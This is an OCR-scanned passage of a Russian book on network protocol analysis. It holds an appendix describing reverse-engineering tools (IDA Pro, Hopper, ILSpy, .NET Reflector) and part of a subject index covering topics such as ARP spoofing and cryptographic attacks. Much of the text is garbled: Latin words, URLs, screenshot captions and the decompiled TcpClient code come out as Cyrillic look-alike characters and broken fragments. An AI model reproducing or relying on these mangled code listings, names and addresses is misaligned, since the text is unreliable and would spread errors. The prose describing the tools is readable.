0-0} Јпір.оокирсішЬ.дазе } 

3-1} МеегейРіеОириібігеат.баѕ= 

29-5} Регзісіепсебегуісеїтрі, аз ргіма+е уофа 1п1Е1а14те(ьаипснОезс рагат аипсћеѕс, АррРо14су рагатдррРо1їсу) 
89-0) РгемегібсабопСіаѕе! оафег. а5$ Ө 

8-0) Рппіѕегуісеїтрі.даѕз 1һіѕ._Јаџпсһреѕс = рагатаипсћ0еѕс; 

в в эпаетпеапсебегисе тр. аз 4815. асс = Ассеѕ5Сопёго11ег.веїСопёехї(); 


65-6} Орьоагббегуісе,дазз +һіѕ._ісІРагепі.іпібіа1іге(рагат ашпсћеѕс, рагапАррРо11су); 
8-00) Ронгіоайегисе,базз М агаілРепаїпеув.50): у 
< > < > 


зирег(пем ЏВІ [0], рагапС1аѕѕіоайег); 
ЅесигіёуМапавег 10са15есигії+уМапавег = Ѕуѕёет. веѕесигібуМапавег(); 
ө + (10са15есигіїуМапавег != пи11) { 


4115. аррРо14су = рагатАррРо1їсу; 
4115. іпібіа]ізед = ігие; 

їҒ (4115. јсІРагепі != пи11) 

< 


ГРА Рго 


Сайт: Һіірѕ/Лууууу.һех-гауѕ.сот// 
Лицензия: коммерческая; доступна ограниченная бесплатная версия 
Платформы: пих, тасО$, Міпаомѕ 
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ІРА Рго - самый известный инструмент для обратного проектиро- 
вания исполняемых файлов. Он дизассемблирует и декомпилирует 
множество различных архитектур процессов и предоставляет ин- 
терактивное окружение для исследования и анализа дизассемб- 
лированного кода. В сочетании с поддержкой пользовательских 
сценариев и плагинов ІРА Рго является лучшим инструментом для 
обратного проектирования исполняемых файлов. Хотя полная про- 
фессиональная версия стоит довольно дорого, бесплатная версия 
доступна для некоммерческого использования; однако она огра- 
ничена 32-битными двоичными файлами архитектуры х86 и имеет 
другие ограничения. 


Ф ра - олвемегупоМели аи 
Ре Еа Јитр Ѕезгеһ Мем Оеиддег Ороп Міпдом= Нар 


вЫ е-9- 6 5 ух АӨ зи. - ғ Х р О О № 7) #19) 8 8+ Е 
м Г | о ми тт 1 1: Ы 
Іфгагу ѓипсбоп ПП Оаѓа №  Ресиаг бпсбоп № Цпехрюгеф № Іљ=тисбоп Ехќегпаі зутьо! 
[7] ғопсвопз толи О а х | олмен Е [5] нехмен-1 Е) (9) ѕеисшгес Е) [Е вв © Ітроіз 23 [Я ехо (3 
Ғипсбоп пате ы 
[7] оисапупюааМ ом РУ 
[а 1ЕСопйдиганоп_беВосоКЕСо а55ите еѕ:_ аса 
[Я] ОРА барк) 
1ѕобеіАиЊогйумМ: на] 

а ИЕ ел А ; АЕЕКіриеѕ: Бр-Баѕей #гапе 
Л] _тетзе А ; ВОО __5Е4са11 _р11МаіпсВТЅсагёир(НІМЅТАМСЕ һіпѕЕрі1, риОвЮ ғаџВеаѕоп, ІРЏ0Ір 1рВеѕеғџей) 
СЯ] сотрагеиіпдиҳҳҳ) рир1іс __р11МаіпсКТЅсакёире12 
[7] с»онаѕһтТгЫе:беіЅрасе(уоіа ___011МаіпсЕТЅсаеёире12 ркос пеак 
[Я] ѕоеТАаа(иіпё ии =) 
[а] 15обе!еГаи5соре(мо!) һіпѕр= шока рее 8 
[Я] _тетеру ҒаџВеаѕоп= шока рее Өсһ 
Я `тететр 1рВеѕекџей= шока рее 100 
[Я оѕА Стезіеб) е 
РР а еолеепл кенелу ШШ ейі, е91 
< > иѕһ ебр 

а ерр, еѕр 

[ебр+ғаоВеаѕоп], 1 
ДЪ Сгарћ омегием сах 5ПогЕ 10с_ 50062С7р 
= 
са11 __  зесиг1 у іпіё соокіе 


100.003 (-28,-18) (235,392) 000С2060 50062С60: _р11Маіпсвт5сагтир(х,х,х) 


а 


а 


ЗЕ ОВУЕСТ ТУРЕ: Ғаі1ей (о айй сопѕбапЕ ЗЕ 


йриќ упадом 


и? 


ВЕСІЅТВҮ КЕҮ=д (0хн) 
МЅНАВЕ=5 (0х5) 


ЅЕ_0ВЈЕСТ_ ТУРЕ: Ғаі1ей Ёо айа сопзфапЕ ЗЕ. 


СЕ ОВЈЕСТ ТҰРЕ: Ғаі1ей {о айа сопѕапЕ ЅЕ_КЕВМЕІ_ОВЈЕСТ=6 (9х6) 
_ЅЕ_ОВЈЕСТ ТУРЕ: Ғаі1ей {о айа сопѕїапЕ ЅЕ 


г МТМООМ ОВЈЕСТ=7 (0х7) 

ЅЕ_0ВЈЕСТ ТҮРЕ: Ғаі1ей Ёо айа сопѕеапЕ ЅЕ 05 0ВЈЕСТ=8 (0х8) 

ЅЕ_0ВЈЕСТ ТУРЕ: Ғаі1ей Ёо айа сопзЕапЕ ЅЕ 05 ОВЈЕСТ А1 =9 (0х9) 

ЅЕ_0ВЈЕСТ ТҮРЕ: Ғаі1ей Ёо айа сопѕёапЕ ЅЕ РЕОЏІрЕВ РЕҒІМЕЮ ОВЈЕСТ=160 ({ Өха) 
Ғипсёіоп агдитепЕ іпҒогтаёіоп паз Бееп реорадаќей 

Тһе іпібіа1 аџёоапа1у515 һаѕ Бееп Ғіпіѕһей. 


Рувоп 
АО: 191е Рот 01зк: 133468 


р 


Норрег 


Сайт: ИНр/Лмиим,Поррегарр.сот/ 

Лицензия: коммерческая; также доступна ограниченная бесплатная 
пробная версия 

Платформы: Шпих, тасО5 


Норрег - очень способный дизассемблер и базовый декомпилятор, ко- 
торый может более чем соответствовать многим функциям ІРА Рто. 
Хотя на момент написания этих строк Норрег не поддерживает ряд 
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архитектур, которые поддерживает ГРА Рто, в большинстве ситуаций 
этого должно быть более чем достаточно благодаря поддержке про- 
цессоров х86, х64 и АКМ. Полная коммерческая версия значительно 
дешевле ГРА Рго, так что на нее определенно стоит обратить внимание. 


.5ру 


Сайт: №Нр./Ибрупе/ 
Лицензия: МТ 


Платформа: Ү/іпаомѕ (с .МЕТА) 


Пру с его средой, подобной \15иа1 5410, лучше всего поддержива- 
ется бесплатными инструментами декомпиляции .МЕТ. 


Жа Иру 
Ее Мем Нар 
[<] Бе 2 с а = 
[8 дуайзЫе: іпё 
(8 Сел: боске 
9 соппесіеа : Бос! 
(9) екешямеА@агеззИзе : Боої 
(99 бпдебьие : ИпдегОрноп 
[8] морайу: Бос! 
(9 ҺесемеВинегбіге : Е 
9) БесемеТітеоџ: іпё 
099) ЅепаВиНегбіге : іпё 
09 Ѕепатітеоиё: и 
=Ф .сіог1РЕпаРоіпй) : уоіа 
Ф до: чо 
=Ф .сіог(АдагеѕзҒатіју) : уоіа 
=Ф .сіог(зітіпд, т : мо 
БФ .сіог(Ѕоскей) : уоіа 
=% ВедіпСоппес{(ітіпд, іпі, АзупсСаБаск, оБјесё) : Азуг 
=Ф ВедтСоппесИРАдагез, іпі, АзупсСаИБаск, оБјесі) :, 
= ВедіпСоппес{ІРАдагеѕ[), іп, АзупсСаИБаск, оБуес® : 
=% Сіозе() : уоіа 
=Ф СоппесРАдагезз, іп) : хоїа 
=% СоппесцІРЕпаРоіпі) : уоіа 
=% Соппес{!РАдагеѕ[], іп) : хоіад 
$ СоппесАзупсИРАЧагезз, іп) : Тазк 
=Ф СоппесіАѕупс(ѕігіпд, іпё) : Таѕк 
=% СоппесіАзупс(1РА8гез[], іп) : Тазк 
99% Оіѕроѕе(Боој) : уоіа 
=Ф Оіѕроѕе() : чо 
$ ЕпаСоппес{1Азупскезий) : мо 
$} Ғпаїге() : хоїа 
=Ф СбеїЅігеат() : Мевмогеат 
#0 іпібаїіге() : моіа 


р 


#0 питетісОрбоп(ЅоскекОрбопі еме, Ѕоске:Оріопћат 
со таа 


МЕТ ВеДесюг 


г Ѕузеет.Ме+.Ѕоскесз.Терс1епі 
1 <зитпагу>СоппесЕз +һе с1іепё +0 Не зресі#іей рогі оп һе зресіҒієа воз. </зштй 
ЕС моїй СЕ (ЕКЕ һоѕепате, іп рог) 

іҒ (іоввіпв.Оп) 
16 

іоввіпв.Епіег(іоввіпв.Ѕоскеїѕ, їһіѕ, "Соппесі", һоѕёпате); 
34 (1һіѕ.т С1еапейур) 

ЧВгом пем ОЬјесріѕроѕейЕхсерііоп(Баѕе.СеТуре() .Еи11Мате); 
} 
4+ (позпате == пи11) 

+һгоы пем АгвитепМи11Ехсер{оп("Нозпапе"); 
} 
3+ (1Уа1іда+іопне1рег.Ма1ійа+еТсрРог+(рог+)) 

+һгоы пем Агвипеп0иО#ВапвеЕхсер+їоп("рогё"); 
} 
34 (+һіѕ.т Асёіме) 

ЧВгом пем ЅоскеЕхсерііоп(Ѕоске+Еггог.І5Соппесќей); 
} 
ІРАййгеѕ5[] Һоѕ+Аддгеѕѕеѕ = Опѕ.беНоѕ+Абігеѕѕеѕ (Һоѕпате); 
Ехсерїіоп ех = пи11; 
ЅоскеЁ зоскее = пи11; 
Ѕоскеё ѕоске+2 = пи11; 
гу 

34 (+һіѕ.т С1іепёЅоске+ == пи11) 

іҒ (Ѕоскеё.055иррогїѕІРу4) 
{ 


зоскеЕ2 = пем Ѕоскеї(АйігеѕѕҒаті1у.ІпбегМеёмогк, зоске{Туре.5%геат, 


} 
3+ (Ѕоскеё.055иррогѕІРуб) 


Сайт: һїрѕ /Лууу.геа-даїе.сот/ргоаисіѕ/аоїпеѓ-аеуеІортепі/еўесїог/ 
Лицензия: коммерческая 


Платформа: Міпӣомѕ 


ВеНесгог – это оригинальный декомпилятор .МЕТ. Он берет исполня- 
емый файл .МЕТ или библиотеку и преобразовывает их в исходный 
код С# или Уіѕџа1 Ваѕіс. ВКеЙесгог очень эффективен при создании чи- 
табельного исходного кода и обеспечивает простую навигацию по ис- 
полняемому файлу. Это отличный инструмент, который должен быть 
в вашем арсенале. 
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@ МЕТ пейе<ог 8.5.0.179. 
2 Де Е Мем ТооБ Нар 


‘оо вн мых |< 


| | №ЕТ45 м || & | 


Ѕеагсһ ОБјесі Вгозизег (СЁ-Р) р 
в %$ ТерСіепі ^ 


8 №) Васе Турес 
8 (ы Оепуей Турез 


сіог) 

«іог(1РЕпаРоіп?) 
«іог(АййгеззҒатйу) 

а® .сіог(Ѕоскеј) 

2$ .сіог(Ѕігіпд, 1п432) 

= ВеоіпСоппесц!РАаагезѕ, Іпё32, Аз 
2% ВедіпСоппес1РАаагеѕѕ[], За, А 
2% ВедіпСоппес{(5ігіпо, |132, Аѕупс( 
2% Сіоѕе() : Моіа 

5% СоппесҚІРЕпаРоіпё) : Моіа 

2% Соппес1РАаагеѕѕ, Іп32) : Моід 
2% Соппесі(1РАаагеѕѕ/[], Іпі32) : Моіа 
Яс тіпа, 11132) : оід 

2460 СоппесАѕупс(1РАбагеѕѕ, Іп#32) : Т 
2% СоппесАѕупс(1РАбагеѕѕ[], 1п#32) : 
2% СоппесёАзупс (та, 32) : Тазк 
27 Оіѕроѕе() : Моіа 

$7 Оіѕроѕе(Вооіеап) : Моіа 

2% ЕпаСоппес1Аѕупскеѕић) : Моід 
$7 Нпаіге) : №оіа 


рибііс уоіа Соппесі(ѕїгіпо һоѕїпате, іпї рог 
"Юесіагіпд Туре: Ѕуѕет.Меї.боскеёѕ.ТсрСепё 
АѕѕетЫу: учет, Мегѕіоп= 4.0.0.0 


< нии > 


ЮО „оссо иода [в 


риЫіс ус Соппес($1пд Һоѕіпате, и рой) 
{ 
Ч (оддіто.Оп) 
1оддіпд.Епќег(.оддіпо.Ѕоскейѕ, ћіз, "Соппес!", позіпате); 


} 
И (ВБ Сіеапеаур) 
{ 
#һгом пем ОБјесіѕроѕедЕхсеріоп(Баѕе.беіТуре().РшМате); 
} 
 (һоѕіпате == пи) 
{ 


гом пе АгдитепМиЙЕксерноп("Возвлате"); 

А (МзіагбопНеірег.МгідаѓеТсрРог(рог?)) 

‘ +һгом пему АгдштепёОиОапдеЕхсеріоп("рогі"); 
: (һіѕлт_Асіме) 


гом пем ЅоскеїЕхсеріїоп(Ѕоскеі тгог15Соппесќед); 
} 
1РАЧагез[] ҺоѕАйагеѕѕеѕ = Опѕ.СеНозіАагеѕѕеѕ(һоѕіпате); 
Ехсеріоп ехсербоп = пи 
Ѕоскеї ѕоскеё = пий; 
Ѕоскеї ѕоскеї2 = пий; 
чу 
{ 
И (іѕ.т_ Сйепібоскеё == пи!) 
{ 


# (Ѕоскеі.ОѕѕирротзіРу4) 
{ 

зоскеЕ = пем боскеКАагеззРатйупееЧевмокк, Ѕоске Туре 5ітеап, РгоќосоїТуре.Тср); 
} 
Ў (Ѕоске.ОЅ5иррогзіРу6) 
{ 


зоскеї = пем боскеКАЧгеззРатйупеейМевмо М6, Ѕоске Туре. геа, РгоќосоїТуре.Тср); 


д 
АЕБ Н иен кин] 


> 


ПРЕДМЕТНЫЙ 
УКАЗАТЕЛЬ 


А 


Абзѕїгасї бущах МоаНоп 1 (АЗМ.1), 78 
Ааагеѕѕ Зап тег (АЗап), 283 
Адуапсеа ЕпсгурНоп З{апдага 

(АЕ), 182 

АЕ$, 184 

АВР, 101 

АКР-спуфинг, 101 

АЅСП, 68, 114 


В 


Ваѕеб4, 86 
В ом/Н$Ь, 185 
ВРЕ, 215 


С 


СатеШа, 185 
Сапаре Соге, 45, 55 
са.рїіх, 240 
саргиге.рсар, 215 
сес], 236 

сап], 234, 236 
СОВВА, 46 
Сгурї32.411, 162 


р 


Рака Епсгурііоп З{апдага (ре), 182 
"Раѓаетат Тгапѕрогї Гауег Зесиг у 
(ОТТ5), 206 

РЕБ, 185 

Реѕіпайоп МАТ (ОМАТ), 94 
ОНСР-спуфинг, 98 

ОМАТ, 48, 96 

2№5, 26 

ОТгасе, 40 


Е 


ЕКегсар, 99 
ЕхѓепѕіЫе Магкир Гапеџағе 
(ХМІ), 84 


Е 
ЕПЕТІМЕ, 76 


Н 


НТТР, 26 
обратный прокси-сервер, 57 
прокси-серверы, 53 
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ІВМ, 183 
ІА Рго, 154 
графическое представление, 156 
Пру, 169 
ІР, 89 


Ј 
ЈЅОМ, 83 


И 
Гиа, 124 


М 

МАС-адрес, 28 
Меѓаѕріоїї, 306 
МІМЕ, 83 


М 
М№еѓсаї, 215, 273 


Р 


РағеНеар, 284 

РОЅІХ, 38 
РОЅІХ/Опіх-время, 75 
Ргохібег, 52 


К 
КЅА, 181, 193 


5 


ЅМТР, 26 

ЅМАТ, 94 

Ѕоигсе МАТ (5МАТ), 94 
ѕїаса1ї, 236 
ЅирегЕипКкуСћаѓ, 106 


т 


ТСР-пакет, 114 
ТСРЛР, 24 

ТІ, 55, 206 

ТІ -рукопожатие, 207 
ТИХ, паттерн, 76 
їгасегоиѓе, 90 

Тѕһагк, 215 
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0 

ОСЅ-2/0ТЕ-16, 71 
0ОС5-4/0ТЕ-32, 71 
ОРХ, 164 

ОТЕ-8, 71 


ү 
УігсиаІАПос, 290 


ү 
Үігеѕһагк, 35, 95, 109, 127, 215 


Хх 


ХМГ, 84 
ХОК-шифрование, 138, 180, 181 


А 


Адрес, 27 
источника, 28 
назначения, 28 
Активный перехват, 435 
Алгоритм 
выборки сообщений, 198 
криптографического 
хеширования, 198 
обмена ключами 
Диффи-Хеллмана, 196 
подписи, 198 
цифровой подписи (рЅА), 199 
Архитектура набора команд (18А), 143 
Ассемблер, 142 
Атака 
на основе подобранного открытого 
текста, 196 
понижения версии протокола, 210 
расширения данных, 255 
удлинением сообщения, 200 
Атрибут, 84 


Б 

Байт, 63 

Байт-код, 168 

Библиотека базовых классов (ВСІ), 168 
Битовые флаги, 66 

Битовый формат, 65 

Блок, 182 


перестановок (Р-блок), 185 
подстановки ($5-блок), 185 
Блок данных протокола (РОО), 27 


В 


Вектор инициализации (ВИ), 187 
Внешний блок дополнения, 202 
Внутренний блок дополнения, 202 


г 


Гаджет, 511 
Генератор псевдослучайных чисел 
(ТПСЧ), 182 


Д 


Двоичные протоколы, 63 
Двоичный интерфейс приложений 
(АВІ), 155 

Декомпиляция, 142 
Дизассемблирование, 142 
Динамическая компоновка, 143 
Динамический анализ, 164 
Дополнительный код, 64 


З 


Заголовок, 27 

Закрепление сертификата, 211 
Закрытый ключ, 194 
Запутывание, 174 


И 


Имя сборки, 226 
Индексные регистры, 146 
Интернет-протокол (ТР), 25 
Инфраструктура открытого ключа 
(РКІ), 205 
Исходный код, 141 
Исчерпание 

памяти, 261 
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